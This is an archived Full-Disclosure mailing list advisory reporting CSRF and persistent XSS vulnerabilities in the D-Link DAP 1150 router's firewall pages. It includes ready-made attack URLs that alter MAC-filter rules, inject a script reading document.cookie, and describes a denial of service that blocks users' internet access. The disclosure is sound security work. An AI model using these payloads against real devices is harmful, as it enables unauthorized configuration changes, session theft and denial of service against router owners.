full-disclosure - [FD] New multiple CSRF and XSS vulnerabilities in D-Link DAP 1150

Open Source and information security mailing list archives

Date: Sun, 13 Apr 2014 21:38:10 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>,
	<fulldisclosure@...lists.org>
Subject: [FD] New multiple CSRF and XSS vulnerabilities in D-Link DAP 1150

Hello list!

In 2011 and beginning of 2012 I wrote about multiple vulnerabilities 
(http://securityvulns.ru/docs27440.html, 
http://securityvulns.ru/docs27677.html, 
http://securityvulns.ru/docs27676.html) in D-Link DAP 1150 (several dozens). 
That time I wrote about vulnerabilities in admin panel in Access Point mode 
and now I'll write about holes in Router mode.

I present new vulnerabilities in this device. There are multiple Cross-Site 
Request Forgery and Cross-Site Scripting vulnerabilities in D-Link DAP 1150 
(Wi-Fi Access Point and Router).

SecurityVulns ID: 12076.

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: D-Link DAP 1150, Firmware version 1.2.94. This 
model with other firmware versions also must be vulnerable. D-Link ignored 
all vulnerabilities in this device (as in other devices, which I informed 
them about) and still didn't fix them.

----------
Details:
----------

CSRF (WASC-09):

In section Firewall / MAC-filter via CSRF it's possible to add, edit and 
delete settings of MAC-filters.

Add:

http://192.168.0.50/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=74&res_struct_size=0&res_buf={%22mac%22:%221%22,%22enable%22:%22ACCEPT%22}&res_pos=-1

Edit:

http://192.168.0.50/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=74&res_struct_size=0&res_buf={%22mac%22:%221%22,%22enable%22:%22ACCEPT%22}&res_pos=0

Delete:

http://192.168.0.50/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=2&res_config_id=74&res_struct_size=0&res_pos=0

DoS attack via CSRF:

By adding appropriate MAC-filters it's possible to block access to Internet 
for users via this router. For that it's needed to set MAC-address of user's 
device in field mac and set DROP in field enable.

XSS (WASC-08):

These are persistent XSS. The code will execute in section Firewall / 
MAC-filter.

Attack via add function in parameter res_buf:

http://192.168.0.50/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=74&res_struct_size=0&res_buf={%22mac%22:%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%22,%22enable%22:%22ACCEPT%22}&res_pos=-1

Attack via edit function in parameter res_buf:

http://192.168.0.50/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=74&res_struct_size=0&res_buf={%22mac%22:%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%22,%22enable%22:%22ACCEPT%22}&res_pos=0

CSRF (WASC-09):

In section Firewall / Virtual servers via CSRF it's possible to add, edit 
and delete settings of virtual servers.

XSS (WASC-08):

These are persistent XSS. The code will execute in section Firewall / 
Virtual servers. The attack occurs via add and edit functions in parameter 
res_buf.

I mentioned about these vulnerabilities at my site 
(http://websecurity.com.ua/7103/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

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